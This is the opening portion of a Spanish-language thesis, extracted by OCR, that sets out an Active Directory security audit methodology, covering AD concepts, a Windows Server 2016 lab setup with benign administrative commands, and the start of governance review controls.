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Active Directory o Directorio Activo es el servicio de Microsoft que proporciona las capacidades
necesarias para la gestién de usuarios, grupos, unidades organizativas, equipos, etc., sobre una
arquitectura IT distribuida. Directorio Activo es el servicio capaz de “traducir” la estructura
funcional corporativa de una organizacién a un conjunto de datos ordenado en estructura de
arbol.

En la actualidad, la mayoria de organizaciones aprovecha este tipo de infraestructura para dar
soporte, control y trazabilidad de acciones a servicios y aplicaciones corporativas, por este motivo,
podemos considerar al Directorio Activo como el nlcleo de la arquitectura IT para una
organizacion ya que, en la mayor parte de test de penetracién se tiene como objetivo tomar el
control de esta infraestructura para tener acceso total a todos los servicios y aplicaciones bajo
dominio incluidos el CRM corporativo (SAP, Oracle, Microsoft Dynamics, etc.), por tanto, el
bastionado y correcto uso de este servicio es un deber para todos los profesionales de seguridad
dedicados a la proteccién de infraestructuras.

1.1. El impacto de Active Directory en las organizaciones

Para entender el impacto de la infraestructura de Active Directory sobre las organizaciones se
tiene en cuenta el estudio sobre “7000 Fortune”. Es un listado de empresas clasificadas por sus
ingresos y realizada por la revista estadounidense Fortune.

Segun estudios realizados, un 95% de las empresas clasificadas en el 1000 Fortune hacen uso de
la infraestructura de Active Directory. Respecto al tema central que se trata en el presente
documento, podemos asumir que esta infraestructura tiene una importancia vital para las
operaciones corporativas. [1] [2]

A nivel de seguridad, durante los Ultimos afos han aparecido numerosos ataques sobre esta
infraestructura o sobre los protocolos asociados dando lugar a considerables aumentos en la
superficie de ataque. Algunos ejemplos de ataques conocidos:

e WannaCry y otros ramsonware aprovechan el protocolo SMB en su versién 1, este
protocolo en Active Directory es necesario para el despliegue de parches, intercambio de
informacion entre endpoints y controladores de dominio al igual que actualizacién de
politicas.

e Vulnerabilidades sobre el protocolo RDP (Remote Desktop Protocol), facilmente
aprovechables como steemaudit utilizado sobre los servidores Windows 2003 server y
con el puerto 3389 (puerto utilizado por RDP).

e Vulnerabilidades derivadas de la ausencia de una correcta politica de parcheado sobre
los sistemas operativos miembros del dominio.

1.2. Objetivo del proyecto

El propdsito de este proyecto es proveer a los profesionales de la seguridad de la informacién de
una metodologia que les capacite para poder evaluar e identificar el nivel de seguridad de las
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infraestructuras de Directorio Activo, despliegue y configuraciones existentes en diferentes
organizaciones a través de pruebas manuales y automaticas y siendo conscientes en todo
momento del tipo de impacto que generan con las mismas sobre los sistemas auditados para
determinar el nivel de seguridad.

Para ello, se han definido principalmente dos objetivos principales:

1. Creacidén de una metodologia para acometer la revision de una infraestructura de
Directorio Activo.

2. Plan de pruebas y controles a realizar.

La metodologia propuesta tiene en cuenta que los sistemas de informacién son sistemas
dindmicos y cambiantes y que, por tanto, ha de ser actualizada en cortos periodos de plazo para
poder ser efectiva para los profesionales de la seguridad. Adicionalmente, pretende aportar
solucion a las organizaciones en cuanto a planes de accidon para mitigar las vulnerabilidades
encontradas durante una revision y a incrementar el nivel de madurez de seguridad corporativa
existente.

1.3. Metodologia

En este apartado se enumeran los pasos necesarios para completar la documentacion de este
proyecto. Los pasos realizados estan listados a continuacion:

1. Busqueda y revisidon bibliografica de las fuentes. Adicionalmente recopilacion de
informacion y clasificacion de la misma adquirida mediante la experiencia laboral.

2. Despliegue de la infraestructura de laboratorio para realizar las pruebas descritas en el
documento, asi como las medidas defensivas.

3. Documentaciéon organizada de las pruebas elaboradas sobre la infraestructura de
laboratorio.

4. Estimacion de costes y tiempos.

5. Conclusiones generales.

1.4. Estructura del proyecto

Tras la introduccién al proyecto en este apartado, se expondra brevemente el contenido de los
siguientes para tener una idea aproximada y una visién general, que se detallard en cada uno de
los siguientes apartados.

Dentro del Apartado 2 se detallara una introduccion del funcionamiento de la infraestructura de
Active Directory cuyo objetivo es proporcionar una visién preliminar.

En el apartado 3 se detalla el proceso de instalacion al igual que los servicios adicionales
desplegados para la emulacion de las pruebas propuestas en el documento.

En el apartado 4 se especifica la metodologia y el enfoque utilizado para la revisién completa de
seguridad sobre la infraestructura, este apartado es el tema principal del presente documento y
en él se incluiran pruebas, ejemplos de ataques y contramedidas aplicadas.
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El apartado 5 explica una planificaciéon de proyecto tipo, asi como el coste asociado.

Los ultimos apartados se destinan a las conclusiones generales y a la bibliografia con las fuentes
utilizadas para la creacion de este documento, asi como para la generacion de la infraestructura.

1.5. Planificaciéon temporal

El proyecto ha sido dimensionado teniendo en cuenta las fases de analisis y pruebas técnicas
sobre el laboratorio desplegado para dicho fin. A continuacién, se especifica un flujo de tarea que
se ha seguido para llevar a cabo los objetivos definidos:

& Gantt | {§} Diagrama de recursos
EEAEHS :Acercar | Algjar Hoy = | Atrés | Adelante  Mostrar 2 ruta critica | Lineas di
= —
e O | '
projct »,
! T T T T T T T T T T T T T T T T T
Semana 18 Semana 20 Semana 21 Semana 22 Semana 23 Semana 14 Semana 25 Semana 26 Semana 27 Semana 28 Semana 20 Semana 3 Sermana 51 Semana 32 Semana 3 Sermana 34 Semana 36 ¢
Nombre ‘FE"‘E dm,”‘ Fechade . l7oai fatita 25 S vty it G 0t 201 (Ll a0 20 ity et e a0 B0t 1
. 05 pp i
o Obtencion de informa... 406118 15/06/18 || s | ——
© Creacion de laboratori... 18/06/18  29/06/18

@ Definicion de metodol...
o Arquitectura Active Di...
@ Bastionado de servido...
© Revision de GPOs

© Objetos de Active Dire...

o Configuracién de seg..

2/0718
4/07/18
16/07/18
23/07/18
30/07/18
6/08/18
@ Eventos deauditoria  13/08/18
© Modificaciones sobre ... 4/07/18
@ Estimacion de recursos  20/08/18

© Documentacidn 4/06/18

17/08/18

13/07/18

20/07/18

27/0718

3/08/18

10/08/18

17/08/18

7/08/12

21/08/18

31/08/18

Figura 1 Planificacion realizada

En la figura 1 se observa la definicion realizada de tareas, asi como la planificacion temporal
definida para la realizacion de las mismas.
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Obtencién de informacion (4/06/18 — 15/06/18): Esta fase se centra en la busqueda de
informacion sobre el servicio, ataques, mecanismos de defensa y despliegues seguros
de la infraestructura.

Creacion del laboratorio de pruebas (18/06/18 — 29/06/18): Para llevar a cabo los
diferentes controles se cred un laboratorio con el objetivo de aplicar cambios y validar
configuraciones de seguridad, asi como las posibles implicaciones que supondrian un
despliegue sobre un entorno productivo lo mas realista posible.

Definiciéon de metodologia (2/07/18 — 17/07/18):

o Arquitectura de Active Directory (4/07/18 — 13/07/18): Establecimiento de
mecanismos de revision y seguridad sobre arquitectura y procedimientos
relacionados.

o Bastionado de servidores (16/07/18 — 20/07/18): Medidas de configuracién de
los servidores que dan soporte a la infraestructura.

o Revisién de GPOs (23/07/18 -27/07/18): Politicas aplicadas sobre un dominio.

o Objetos de Active Directory (30/07/18 — 3/08/18): Configuraciones inseguras
sobre los nodos y objetos del arbol de Active Directory.

o Configuracién de seguridad (6/08/18 — 10/08/18): Configuraciones del servicio
de Active Directory, capacidades y vulnerabilidades en la definicién.

o Eventos de auditoria (13/08/18 — 17/08/18): Capacidades de explotacién de la
informacion generada a partir de los eventos de auditoria configurados.
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Modificaciones sobre el entorno de laboratorio (4/07/18 — 17/08/18): Agregacién y
modificaciones de funcionalidades, caracteristicas y roles sobre el entorno de
laboratorio con el objetivo de probar diferentes enfoques y controles sobre cada bloque
de la metodologia.

Estimacion de recursos (20/08/18 — 21/08/18): Datos en términos de recursos de
personas y dias para ejecutar un proyecto independientemente de la organizacion.

Elaboracién de documentacion (4/06/18 — 31/08/18): Plazo para elaborar el presente
documento y otros entregables asociados.
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2. Introduccion a Active
Directory

Active Directory es, como se ha mencionado con anterioridad, una infraestructura que da soporte
a laimplementacion y servicio de directorios disefiado por Microsoft. Esta infraestructura se apoya
en la comunicacion mediante el protocolo LDAP (puerto 389) y LDAPS (puerto 636 o 3269).
Adicionalmente, sobre esta infraestructura se realiza la gestion de servicios corporativos vitales
tales como DNS o DHCP.

De forma simple, es la implementacién de toda la l6gica corporativa de una organizacién en la
que se debe gestionar de forma eficiente, permisos sobre grupos de usuarios, equipos, grupos de
trabajo, diferentes unidades de negocio, etc. [4]

Active Directory |

Domain Server |

Orgonizational Units
Users, Groups, Machines

Figura 2 Arquitectura de Active Directory

Una vez que se despliega el servicio de Active Directory en un Windows Server automaticamente
ese servidor sera el PDC (Primary Domain Controller). Un Domain Controller o DC son aquellos
servidores que actuan como nucleo de la infraestructura de Active Directory, dentro de una
infraestructura de IT de una organizacién que aproveche la légica de AD para soportar sus
sistemas de informacion tendrd como minimo un Domain Controller pudiendo disponer de mas
de un DC en caso de necesitar acceder a diferentes segmentos de red o sedes repartidas de
forma geograficamente dispersas. [6] [7]

2.1. Elementos de Active Directory

En este subapartado se exponen los elementos que componen la infraestructura de Active
Directory. [8]
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2.1.1. Dominio

Active Directory dispone de los servicios de dominio (AD DS), son la base de la infraestructura
focalizada en este documento. Este servicio es el encargado de almacenar informacion sobre los
miembros del dominio, incluyendo asi usuarios, dispositivos verificando las credenciales de acceso
de los mismos. Este servicio es desplegado desde los Domain Controller. Cuando un usuario desea
realiza un acceso a un sistema corporativo en realidad esta validando las credenciales contra el
Domain Controller que gestiona el segmento de red o la seccidn de la infraestructura en la que
se encuentra.

Los dominios siempre van identificados mediante un nombre Unico dentro de la infraestructura
AD, un ejemplo de ello seria “contoso.com”. A partir del servicio de dominio, se puede realizar una
agrupacion de objetos dentro del mismo. Los miembros de un mismo dominio son capaces de
identificarse entre si a partir del servicio de nombres DNS (Domain Name System).
Adicionalmente, los dominios pueden contener dentro de si subdominios, esta funcionalidad
resulta Util para identificar objetos entre diferentes sedes pertenecientes a una misma
organizacion (e.g. Madrid.contoso.com, Barcelona.contoso.com, etc.). [10]

2.1.2. Arbol y bosque

De forma simplificada, podemos identificar el esquema de Active Directory como un arbol del que
cuelgan una serie de nodos. La raiz de ese arbol seria el dominio mencionado en el punto 2.1.1,
mientras que los nodos hoja serian los objetos que cuelgan del mismo (e.g. maquinas, usuarios,
grupos, otros dominios, etc.).

El arbol de Active Directory puede ser definido como la coleccién jerarquica de dominios y otros
objetos organizados aprovechando la légica del servicio de dominios de Microsoft. Dicha
jerarquia también quedara representada por un espacio de nombres DNS comun.

En la imagen de a continuacién se muestra un ejemplo de estructura de arbol tipica entre
dominios:

contoso.com

Madrid.contoso.com Barcelona.contoso.com

Figura 3 Estructura de arbol de dominio

A la agrupacién de diferentes arboles de dominio se les denomina bosque. Los dominios dentro
del bosque se encuentran conectados a través de relaciones de confianza (se explican en los
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siguientes apartados) y permite compartir y acceder tanto informaciéon como a recursos entre
diferentes dominios del bosque.

2.1.3. Roles FSMO

Los roles son una serie de permisos especiales que existen dentro de la infraestructura de
Directorio Activo, estos roles se reparten entre uno o varios Domain Controller para administrar
acciones criticas internas. Los roles FSMO pueden afectar a diferentes tareas cotidianas de Active
Directory como la replicacion del esquema (la replicacién es la copia del esquema del arbol o
bosque del dominio asociado al AD entre los diferentes DCs).

Dentro Active Directory existen mecanismos para validar qué tipo de roles dispone un Domain
Controller. La orden a ejecutar seria la siguiente:

Netdom query FSMO

EN Select Administrator: Windows PowerShell

2016 Microsoft Corporation. All rights reserwved.

Administrator> netdom query F5SMO
Wintendo. fak

Domain naming master Mintendo. takeorg.

PDC Wintendo. org.

RID pool manager Mintendo. takeorg.

Infrastructure master Wintendo. fakeorg.
he command completed successftully.

Figura 4 Listado de roles en Domain Controller

Como se puede apreciar en el ejemplo solo existe un Domain Controller para dar soporte a la
infraestructura de Active Directory, por tanto, todos los roles son designados sobre la Unica
maquina existente.

A continuacion, se expone en qué consisten y qué permisos tienen asociados estos roles:

e Esquema maestro (uno por bosque): Este rol posibilita realizar actualizaciones sobre la
copia maestra del esquema de Active Directory, este rol limita los posibles problemas
derivados de la replicacion.

e Emulador PDC (uno por dominio): Este rol es utilizado para emular un Domain
Controller con compatibilidad con sistemas Windows NT.

e Maestro de nombres del dominio (uno por bosque): Este rol realiza un seguimiento
de los nombres de los objetos en todo el bosque para garantizar que sean Unicos y no
existan duplicidades. También rastrea referencias cruzadas a objetos en otros directorios.

e Maestro de infraestructuras (uno por dominio): Este rol capacita para realizar un
seguimiento de las referencias entre objetos entre dominios y mantiene una lista de
objetos hijo eliminados.

e RID Master (uno por dominio): Este rol posibilita realizar un seguimiento de la
asignacion de SIDs (identificadores de seguridad) en todo el dominio.
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2.1.4. Relaciones de confianza

Una relacion de confianza se puede definir como la relacion entre dos o mas dominios en la cual
se permite a los miembros u objetos de un dominio en el que existe una confianza, el acceso a
otro dominio y a sus objetos miembro (grupos, carpetas, unidades organizativas, etc.). Existen tres
tipos de relaciones, estas pueden ser:

— Explicita o implicita: Creada por el sistema manualmente.
— Unidireccional o bidireccional: Si A confia en B, ;Debe confiar B en A?

— Transitiva o no transitiva: Si A confia en By B confia en C, ;Debe confiar A en C?

Relacion de confianza
bidireccional

Contoso.com

Figura 5 Ejemplo de relacion de confianza bidireccional

2.1.5. Niveles funcionales

El nivel funcional de un dominio o bosque, determina la capacidad de servicios disponibles en
Active Directory, asi como los sistemas operativos que se pueden ejecutar en los controladores de
un dominio o bosque. El nivel funcional, no afecta a los sistemas operativos que puedan funcionar
en el dominio o bosque si estos son servidores miembros que estan unidos al dominio o bosque.

Sistemaoperativo PDC: Windows Server 2016
Nivel funcional: Windows Server 2008 R2

Figura 6 Ejemplo de nivel funcional

2.1.6. Objetos de Directorio Activo

Los objetos de Active Directory son la representacién légica de las entidades corporativas de una
organizacion (usuarios, departamentos, etc.). Los principales objetos que componen la
infraestructura son:

e Usuarios: Los usuarios son aquellos miembros del dominio pueden acceder a los sistemas
miembro de la infraestructura corporativa de Active Directory. Estos usuarios pueden ser
genéricos o nominales representando a personas fisicas o usuarios de aplicacion que son
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utilizados para tareas especificas y/o comunicacion directa con Active Directory (e.g.
usuario de Exchange para gestién de correos).

Grupos: Los grupos de Active Directory se utilizan para recopilar y almacenar cuentas de
usuario y aplicaciéon, maquinas y otros grupos en unidades mas atomizadas y manejables
por el sistema. El uso de grupos para asignacion de permisos simplifica el mantenimiento
y administracion de toda la infraestructura. En este sentido, existen dos tipos de grupos
en Active Directory:

o Grupos de distribucion: Utilizados para crear listas de distribucion de correo
electroénico.

o Grupos de seguridad: Los grupos de seguridad pueden proporcionar
mecanismos de acceso a recursos compartidos de red de forma controlada y bajo
ciertas restricciones. Adicionalmente, este tipo de grupos pueden tener permisos
y derechos de usuario, cominmente conocidos como “User Rights”. Los derechos
de usuario se asignan a los grupos de seguridad para determinar qué pueden
hacer los miembros de cada grupo dentro de un dominio o bosque. Los derechos
de usuario se aplican automéaticamente sobre ciertos grupos cuando se realiza la
instalacion del servicio de Active Directory. Los permisos determinan quién puede
acceder al recurso y el nivel de acceso al mismo, un ejemplo de ello seria “Control
Total". Algunos de estos permisos se asignan de forma automatica, de igual
forma que los derechos de usuario. [5]

Unidades organizativas: Una unidad organizativa (OU) es una subdivision dentro de
Active Directory que puede contener usuarios, grupos, maquinas y otras unidades
organizativas. La utilidad de este elemento dentro de Active Directory es la capacidad de
reflejar la estructura funcional o empresarial de una organizacion. Cada dominio puede
implementar su propia jerarquia de unidades organizativas. En caso de que una
organizacion contenga varios dominios se pueden crear diferentes estructuras de
unidades organizativas en cada dominio que sean independientes unas de otras.

ACL: Las listas de control de acceso o Access control list (ACL) es una lista que almacena
otro listado, pero en este caso denominado entradas de control de acceso (ACE). En este
sentido, cada ACE en una ACL identifica a un administrador y especifica los derechos de
acceso permitidos, denegados o auditados para ese administrador. El descriptor de
seguridad de un objeto seguro puede contener dos tipos de ACL (DACL o SACL).

o Una lista de control de acceso discrecional (DACL) identifica a los fideicomisarios
a los que se les permite o deniega el acceso a los objetos. Cuando un proceso
trata de acceder a un objeto, el sistema verifica las ACEs en la DACL del objeto
para determinar si se debe conceder el acceso al mismo. Si la DACL del objeto no
tiene ACEs, el sistema niega todos los intentos de acceso al mismo ya que, las
DACL no permiten ningun tipo de "Access rights”. El sistema verifica los ACEs en
secuencia hasta que encuentra una o mas entradas que permitan o denieguen
los Access rights al objeto.

o Una lista de control de acceso al sistema (SACL) permite a los administradores
registrar los intentos de acceso a un objeto protegido. Cada ACE especifica los
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tipos de intentos de acceso de un administrador y los registros de los eventos
asociados. Un ACE en un SACL puede generar registros de auditoria cuando un
intento de acceso falla, cuando tiene éxito, o ambos.
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Este apartado proporciona una guia de instalacion para el despliegue de una infraestructura de
Active Directory en caso de que el lector de este documento desee realizar las pruebas detalladas
en el mismo.

Para el despliegue de la infraestructura se ha utilizado una ISO de Windows Server 2016 ya que
es la ultima version disponible en el mercado y de la que mas provecho se puede obtener al ser
mas reciente. En este sentido, este apartado detalla de forma simple el mecanismo de instalacién
del servicio Active Directory. [3]

3.1. Instalacion y despliegue del sistema operativo y servicio de Active
Directory
El primer paso para realizar la instalacion es descargar la imagen del sistema operativo, se puede

obtener la version de prueba de 180 dias de Microsoft en el siguiente enlace -
https://www.microsoft.com/evalcenter/evaluate-windows-server-2016

Una vez descargada la imagen se instala en el soporte que se crea oportuno (Azure, on-premise,
hipervisor, maquina virtual, etc.).

En los ejemplos del presente documento se utiliza la versién gréfica del servidor, no obstante, se
puede utilizar la version de administracion mediante PowerShell para usuarios avanzados.

."\J. ¢ Windows Setup
Select the operating system you want to install
Operating system Architecture Date modified
Windows Server 2016 Standard Evaluation x4 7/16/2016
Windows Server 2016 Standard Evaluation (Desktop Experien... 1/16/2016
Windows Server 2016 Datacenter Evaluation B4 71/16/2016
Windows Server 2016 Datacenter Evaluation (Desktop Experie... 64 7/16/2016
Description:
This option is useful when a GUI is required—for example, to provide baclward compatibility for an
application that cannot be run on a Server Core installation. All server roles and features are
supported. For more details see "Windows Server Installation Options.”
Next

Figura 7 Seleccion de sistema operativo

pag. 18



https://www.microsoft.com/evalcenter/evaluate-windows-server-2016

Miguel Tomas Ruiz
METODOLOGIA TECNICA DE REVISION DE DIRECTORIO ACTIVO

Una vez iniciada la descarga solo se debe dar formato al disco y proceder a introducir la
contrasefia de administrador local de la maquina.

Una vez iniciado el servidor se visualizara el Server Manager, herramienta a través de la cual se
gestiona los permisos y servicios instalados en el servidor.

e Server Manager — O x

« Dashboard (@) Manage  Tools

WELCOME TO SERVER MANAGER

Dashboard

B Local Server

ii All Servers

. _ o Configure this local server
g File and Storage Services b -

QUICK START
2 Add roles and features
3 Add other servers to manage
WHAT'S NEW
= 4 Create a server group
5 Connect this server to cloud servi
Hide
LEARN MORE
4 ¥
ROLES AND SERVER GROUPS
Roles: 1 | Servergroups:1 | Servers total: 1 v

Figura 8 Server Manager

A continuacién, y como identificador se debe asignar un nombre a la maquina para poder tener
una trazabilidad de forma mas simple. En este caso, el nombre de la maquina utilizado seré
“Nintendo”.

Una vez establecido el nombre, se procede a afadir la caracteristica de Active Directory a la
maquina. Para ello, desde el server manager se selecciona “Add Roles and Features”. Una vez
seleccionado el servidor sobre el que se quiere instalar el servicio se selecciona el rol de "Active
Directory Domain Services”.
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DESTINATION 5F

Select server roles i

8efore You Begin Select one or more roles to install on the selected server,

Instaliation Type Roles Description

server selection Active Directory Certificate Services (AD CS) is used to create certification
authorities and related role services that allow you to issue and manage

certificates used in a variety of applications.

IR Active Directory Certificate Service:

oles [¥] Active Directory Domain Services

[] Active Directory Federation Services

[] Active Directory Lightweight Directory Services
AD DS [ Active Directory Rights Management Services
[] Device Health Attestation

[ DHCP Server

] DNS Server

[ Fax Server

[ File and Storage Services (1 of 12 installed)
[] Host Guardian Service

[ Hyper-V

] MultiPoint Services

[ Network Policy and Access Services

[J Print and Document Services

[] Remote Access

[ Remote Desktop Services

[] Volume Activation Services

[] Web Server (IIS)

[ Windows Deployment Services

[] Windows Server Essentials Experience

[ Windows Server Update Services

Serv

Features

Confirmaticn

Figura 9 Seleccion de roles del servidor

Seguidamente, se confirman que todos los datos estan correctos y se procede al despliegue del
servicio.

Confirm installation selections

Before You Begin To install the following roles, role services, or features on selected server, click Install.

Installation Typa Restart the destination server automatically if required

Server Selection Optional features (such as administration tools) might be displayed on this page because they have
boxes,

Server Roles

Features Active Directory Domain Services

AD DS Group Policy Management

Remaote Server Administration Tools

Role Administration Tools
AD DS and AD LDS Tocls
Active Directory madule for Windows PowerShell
AD DS Tools
Active Directory Administrative Center

AD D5 Snap-Ins and Command-Line Tocls

Figura 10 Confirmacion de la instalacion de roles

Cuando finalice la instalacion, el siguiente paso es configurar el dominio sobre el que se basara la
infraestructura de Active Directory, para el laboratorio utilizado en este documento el dominio
utilizado es “fakeorg.com”. En este sentido, se debe pulsar la opcion de “Add a new forest” para
poder crear una infraestructura desde cero.
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[ Active Directory Domain Services Configuration Wizard — O *
- - TARGET SERVER
Deployment Configuration Nintendo

Deployment Configuration

Select the deployment operation

Domain Controller Cptions _ o .
i) Add a domain controller to an existing domain

Additional Cptions

O Add a new domain to an existing forest
aths ® Add a new forest
Review Options
Specify the domain information for this operation
Prerequisites Chack

Boot domain name: |fakec>rg.con'l

More about deployment configurations

Figura 11 Configuracion del despliegue

En la siguiente ventana, se puede seleccionar los niveles funcionales (comentados en el apartado
2.1.5 Niveles funcionales), para modificar las capacidades o gestionar posibles compatibilidades,
para la infraestructura de laboratorio se deja como esta por defecto para aprovechar las maximas
funcionalidades posibles.

Adicionalmente, al crear un nuevo dominio y no existir otro servidor dentro de la infraestructura,
este, se crea como Primary Domain Controller (PDC). Adicionalmente, y por defecto, se le agrega
el servicio de DNS para la resolucién de nombres de maquinas y otros dispositivos dentro de la
infraestructura.

Por defecto, esta maquina es Global Catalog (GC) esto quiere decir que se puede consultar de
forma simple (por cualquier miembro del dominio), los datos del esquema para tener mas
informacion de la infraestructura.

En caso de que existiesen otras maquinas (Domain Controllers) dentro de la infraestructura que
diesen soporte a Active Directory, estas pueden ser configuradas en modo Read-Only, este tipo
de configuracién se suele utilizar para cuando solo se desea realizar accesos a la infraestructura
sin necesidad de realizar modificaciones sobre el esquema.

Por ultimo, se agrega la contrasefia, esta, sera la contrasefia del Domain Admin y tendra permisos
totales sobre la infraestructura de Active Directory (no confundir con la contrasefia de
administrador local).
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[& Active Directory Domain Services Configuration Wizard

Domain Controller Options

Deployment Configuration

Domain Controller Options

DNS Options
Additional Options
Paths
Review Options

Prareguisites Chack

Select functional level of the new forest and root domain

- O X

TARGET SERVER
MNintendo

Forest functional level: | Windows Server 2016

Domain functional level: | Windows Server 2016

Specify domain controller capabilities

Domain Mame System (DM5) server
«| Global Cataleg (GC)
Read only domain controller (RODC)

Type the Directory Services Restore Mode (DSRM) password

Password: |.ll..ll..

Confirm password: |o-an|-u|

More about domain controller options

| <EI'E‘UiD-LIS|| Mext = |

Install | | Cancel

Figura 12 Opciones del controlador de dominio

En el siguiente paso, desmarcar la opcién de “DNS Delegation”, ya que, se esta creando un nuevo

bosque y no es necesario hacer modificacién alguna sobre el DNS.
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[ Active Directory Domain Services Configuration Wizard

DNS Ogptions

Deployment Configuration

Specify DNS delegation options.

Domain Controller Cptions

DMS Options
Additional Options
Paths

Review Options

Frareguisites Chack

[] Create DNS delegation

More about DNS delegation

| < Previous | | Next > Install

O X

TARGET SERVER
Nintendo

Figura 13 Opciones DNS

Para finalizar se continua la instalacion sin realizar mas modificaciones sobre los parametros que

vienen definidos por defecto.

Tras finalizar la instalacién la maquina se reiniciara y nos solicitara el inicio de sesion al dominio,
en este caso, con la cuenta de administrador de dominio.
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Other user

= e )
| fakeorg.com\Administrator
RN e r ST =

Reset password

Sign in to: fakeorg.com

How do | sign in to another domain?

Figura 14 Login sobre el dominio

En este punto la infraestructura de Active Directory ya se encuentra desplegada. [11]

Para verificar el nivel funcional de dominio y bosque se pueden ejecutar los siguientes comandos:

Get-ADDomain | fl Name, DomainMode

Get-ADForest | fl Name, ForestMode

EN Adrninistrator: Windows PowerShell (x38)

nistrator> Get-ADDomain Name , DomainMode

MName 2 g
DomainMode : WindowsZ0l6Domain

Administrator= Get-ADForest | 1 Wame,ForestMode

: fakeorg. com
ForestMode : Windows20l&6Forest

Ps C:h\UsershAdministrators _

Figura 15 Testeo de estado de maquina
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La metodologia detallada en el presente documento estd basada en buenas practicas laborales y
en los principales componentes de la infraestructura. En este sentido, se ha subdividido la
metodologia en seis bloques. Los bloques estan centrados en confirmar las capacidades de la
infraestructura a diferentes niveles (politicas organizativas, bastionado de servidores, gestion de
los objetos de Active Directory, etc.).

Los bloques se definen a continuacién:

1. Arquitectura de Active Directory: Este bloque se centra en la arquitectura fisica y 16gica
desplegada sobre este servicio. Existen buenas practicas y posibles vulnerabilidades
derivadas de un mal despliegue. Adicionalmente, deben existir una serie de politicas a
nivel corporativo que regulen el uso de esta infraestructura de forma segura.

2. Bastionado de servidores: Para incrementar el nivel de seguridad de los sistemas de
informacion miembro de la infraestructura de Active Directory, se recomienda que
incorpore un bastionado o hardening de todas las configuraciones (politicas, opciones de
Windows, firewall local, etc.). En este bloque se estudian los mecanismos de analisis del
bastionado de servidores para determinar las posibles vulnerabilidades.

3. Objetos de Active Directory: La diferente tipologia de objetos utilizada dentro de la
infraestructura posee caracteristicas claramente diferenciadas, en este punto se analiza la
diferente tipologia (configuraciones de los objetos, identificadores, uso de recursos, etc.).

4. Configuracién de seguridad de Active Directory: Las medidas analizadas en este punto
estan enfocadas a analizar el tréfico que fluye a través de la infraestructura, proteccién de
la informacién y otras medidas relacionadas con el propio servicio.

5. Revision de GPOs: Los Group Policy Object o GPO son un numero elevado de
restricciones, permisos, y configuraciones sensibles aplicados sobre usuarios, grupos y
maquinas, y, adicionalmente, a nivel de Domain Controllers y servidores miembros
aumentando asi la complejidad en cuanto a mantenimiento de todos estos elementos y
control de ellos. En este bloque se pretende proveer de los mecanismos necesarios para
analizar e identificar posibles vulnerabilidades sobre las politicas con un coste de tiempo
aceptable.

6. Eventos de auditoria: Los eventos de auditoria se utilizan para recolectar toda la
informacion relevante de la infraestructura de Active Directory, esto nos ayuda a prevenir
y detectar posibles ataques contra los sistemas de informacion de una organizacién. Este
bloque provee de los mecanismos necesarios para detectar posibles capacidades de
mejora a la hora de detectar y registrar eventos sospechosos.

Para la realizacién de las pruebas se proporciona un pequefio paquete de pruebas de forma
resumida para completar durante la auditoria/revision sobre la infraestructura indicando dentro
la descripcién del control y la casilla para adjuntar todas las evidencias recogidas de forma
ordenada. En este sentido, dentro del documento se indica el detalle de las pruebas en
profundidad:
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Controles AD
v1.xlsx

4.1. Bloque I: Arquitectura de Active Directory

4.1.1. Procedimientos de gobierno sobre Active Directory

Los procedimientos de Gobierno (cuerpo normativo, politicas corporativas y otros
procedimientos) deben ser analizados en profundidad para entender el compromiso de la
organizacion con los sistemas de informacién miembro.

En este sentido, los procedimientos definidos por la organizacién proveen de soporte y apoyo a
los mecanismos de seguridad ya existentes en los sistemas de Active Directory. A la hora de revisar
los procedimientos de una organizacién debe prestar especial atencién a los siguientes
documentos:

- Procedimiento de gestion de cambios: Las organizaciones de un volumen elevado y
con un numero de sistemas considerable deben poseen procedimientos de gestion de
cambios cuando se realizan modificaciones que afectan considerablemente a la
infraestructura o al sistema en si, este documento debe estar validado por el CISO (Chief
Information Security Officer) o por el responsable de seguridad que exista en la
organizacion. Este documento debe identificar la persona que realiz6 los cambios, la
fecha y la aprobacion del responsable del sistema. Las actividades de los administradores
en cuanto a cambios se refieren también debe de quedar registrada en este tipo de
documentos.

- Procedimientos de gestion de usuarios: A |la hora de crear nuevos usuarios, dar de baja,
cambiar de departamento u otras acciones corporativas relativas a los miembros de la
organizacion, deben existir una serie de documentos que validen este tipo de acciones
para tener la trazabilidad de las mismas. En este sentido, cada usuario de la organizacion
deberia de poseer un usuario nominal para poder detectar acciones sospechosas de cada
cuenta identificando responsables, adicionalmente, las cuentas de aplicacion deben de
estar controladas por un responsable y cada una de las cuentas genéricas debe seguir el
mismo principio de estar controladas por el responsable del servicio (e.g. cuenta de
usuario de Exchange, git, etc.). Cuando un usuario se marche de una organizacion, debe
existir un procedimiento que regule su baja en Active Directory al igual que deponer todos
sus servicios una vez formalizada la baja, de igual forma, si un usuario cambia de
departamento, se deben revisar los permisos de los usuarios e identificar cuales son los
nuevos permisos que necesita, quedando reflejado en un documento de modificacion de
parametros de cuenta o de permisos.

- Plan de mejora continua y/o actualizacién de la infraestructura: Una infraestructura
de tanta importancia para una organizacién como Active Directory debe tener un plan
para implementar mejoras en el tiempo, estas mejoras deben preparar a la organizacion
y a Active Directory en concreto para enfrentar nuevas amenazas emergentes en el sector
de las tecnologias de la informacion. Adicionalmente, este documento debe incluir los
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plazos para migrar a versiones de sistema operativo superior e incorporar soluciones que
afecten y mejoren el nivel de seguridad de la infraestructura.

- Procedimientos de continuidad de negocio y recuperacion de desastres: Los DRP
(Disaster Recovery Plan) cominmente conocidos como planes de recuperacion de
desastres son el tipo de documento que proporciona los mecanismos necesarios para
conseguir recuperar la disponibilidad de los sistemas de informacién corporativos en caso
de que se materialice una contingencia tecnoldgica sobre la organizacion. En este sentido,
estan muy relacionados con los procedimientos de continuidad de negocio, en ellos, se
definen las pautas necesarias para continuar las operaciones mediante otros medios y
mecanismos en caso de la materializacion de una amenaza (e.g. levantar los backups
sobre un CPD secundario para poder utilizar los sistemas de forma temporal).

- Procedimientos de seguridad fisica: La seguridad fisica entra dentro del ciclo de vida
de la seguridad de los sistemas de informacién. Los edificios que den soporte a las
practicas de la organizacidn desde sedes en ciudades hasta plantas que lleven cualquier
actividad industrial deben poseer unos minimos requisitos de seguridad fisica para evitar
gue un atacante externo penetre el perimetro fisico y tenga acceso a una boca de red o
acceso a un segmento de red corporativo. Una de las medidas mas Utiles para potenciar
la seguridad fisica corporativa es la incorporacién de mecanismos de control de acceso
tales como acceso mediante tarjetas magnéticas en edificios y si son plantas de actividad
industrial deben disponer de vallas o alambradas que limiten accesos no autorizados. El
uso de cadmaras de videovigilancia también proporciona soporte a la seguridad fisica
perimetral de la zona. Como Ultimo punto y de forma adicional, los accesos a la sala
